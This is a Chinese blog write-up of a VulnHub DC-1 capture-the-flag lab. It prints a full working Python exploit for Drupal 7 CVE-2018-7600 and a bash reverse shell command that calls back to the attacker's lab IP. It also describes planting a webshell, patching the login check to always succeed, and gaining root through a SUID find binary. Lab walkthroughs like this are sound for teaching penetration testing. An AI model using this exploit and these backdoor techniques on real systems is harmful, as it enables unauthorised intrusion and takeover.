VulnHub实战篇四:DC1靶机渗透记录

10 篇文章 0 订阅
9 篇文章 1 订阅

前言:DC-1是vulnhub系列靶机中比较有名的一台入门级靶机,渗透姿势有很多种,适合初学者。本次渗透测试也是笔者自入坑vlunhub以来第一次完全独立拿下一台靶机,于是来把我的专属经验分享给大家。

 

0x00环境描述

靶机名称:DC-1

下载地址:https://www.vulnhub.com/entry/dc-1-1,292/

攻击机ip:172.16.12.137

靶机ip:172.16.12.140

目标:获取靶机上的5个flag

 

0x01

首先识别一下目标开启的服务和端口,可以看到目标主机上开启了22、80、111端口,分别对应ssh、http、rpcbind服务。

访问http站点,通过插件识别出目标站点使用的CMS是Drupal7.

去网上搜索一下该CMS的已知漏洞,通过搜索我们了解到针对Drupal7在2018年爆出了CVE-2018-7600和CVE-2018-7602两个高位漏洞,一个可用的exp如下

#!/usr/bin/env python3

import requests
import argparse
from bs4 import BeautifulSoup

def get_args():
  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                    epilog= '''
                    This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                    by poisoning the recover password form (user/password) and triggering it with
                    the upload file via ajax (/file/ajax).
                    ''')
  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
  parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
  args = parser.parse_args()
  return args

def pwn_target(target, function, command, proxy):
  requests.packages.urllib3.disable_warnings()
  proxies = {'http': proxy, 'https': proxy}
  print('[*] Poisoning a form and including it in cache.')
  get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
  post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
  r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
  soup = BeautifulSoup(r.text, "html.parser")
  try:
    form = soup.find('form', {'id': 'user-pass'})
    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
    if form_build_id:
        print('[*] Poisoned form ID: ' + form_build_id)
        print('[*] Triggering exploit to execute: ' + command)
        get_params = {'q':'file/ajax/name/#value/' + form_build_id}
        post_params = {'form_build_id':form_build_id}
        r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
        parsed_result = r.text.split('[{"command":"settings"')[0]
        print(parsed_result)
  except:
    print("ERROR: Something went wrong.")
    raise

def main():
  print ()
  print ('=============================================================================')
  print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
  print ('|                              by pimps                                     |')
  print ('=============================================================================\n')

  args = get_args() # get the cl args
  pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()

该exp利用CVE-2018-7600漏洞,可以实现针对包含该漏洞站点的任意命令执行攻击,我们运行该exp查看执行效果。可以看到,我们的命令被正确执行,并发现了flag1。

接着我们在攻击机开启netcat监听端口,控制靶机反弹一个shell。

python3 CVE-2018-7600.py -c "echo 'bash -i >& /dev/tcp/172.16.12.137/6767 0>&1'|bash" http://172.16.12.140

利用获得的shell读取flag1

接着我在home目录下发现了flag4(竟然直接就有读取权限,算是意外收获,本人习惯拿到shell后先去家目录转一圈)

0X02

根据flag1的提示,查看配置文件,查阅资料后了解到Drupal的默认配置文件位置在 sites/default目录下,为了方便文件管理,我们写入一个菜刀马并用蚁剑连接。

查看配置文件,我们在配置文件中发现了第二个flag,并获得了数据库的连接账号和连接密码

暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。

你能用这些权限做什么?

似乎在提示我们利用获得的信息,于是尝试登录一下数据库看看。

0x03

使用刚才获得的账号和密码登录数据库,发现可以登录但是信息不能正常回显,exit退出数据库后mysql所有的回显信息会全部打印,一脸懵逼~

修改一下shell的创建方式,发现可以执行python,于是使用pty创建一个新的交互式shell

python -c "import pty;pty.spawn('/bin/sh')"

回显正常后,查询到数据库账号密码:

笔者实在看不透这是用的什么加密方式……菜到安详,于是换一种思路,前边我们发现website的所有文件都具有写权限,那么我们是不是可以找到控制登录验证的关键逻辑,把它做一点修改?通过一番查找,终于找到了控制密码验证的关键部分代码,位于/includes/password.inc文件的function user_check_password($password, $account)函数中,讲255行和257行进行修改,即无论输入什么都返回true。

接着我们登录admin用户,成功登录后在网站随便乱点点找到了flag3:

0x04

根据提示信息中的-exec很容易想到find提权,检验一下find是否具有SUID。

使用find -exec生成一个具有root权限的shell

接着在root目录下找到了最后一个flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值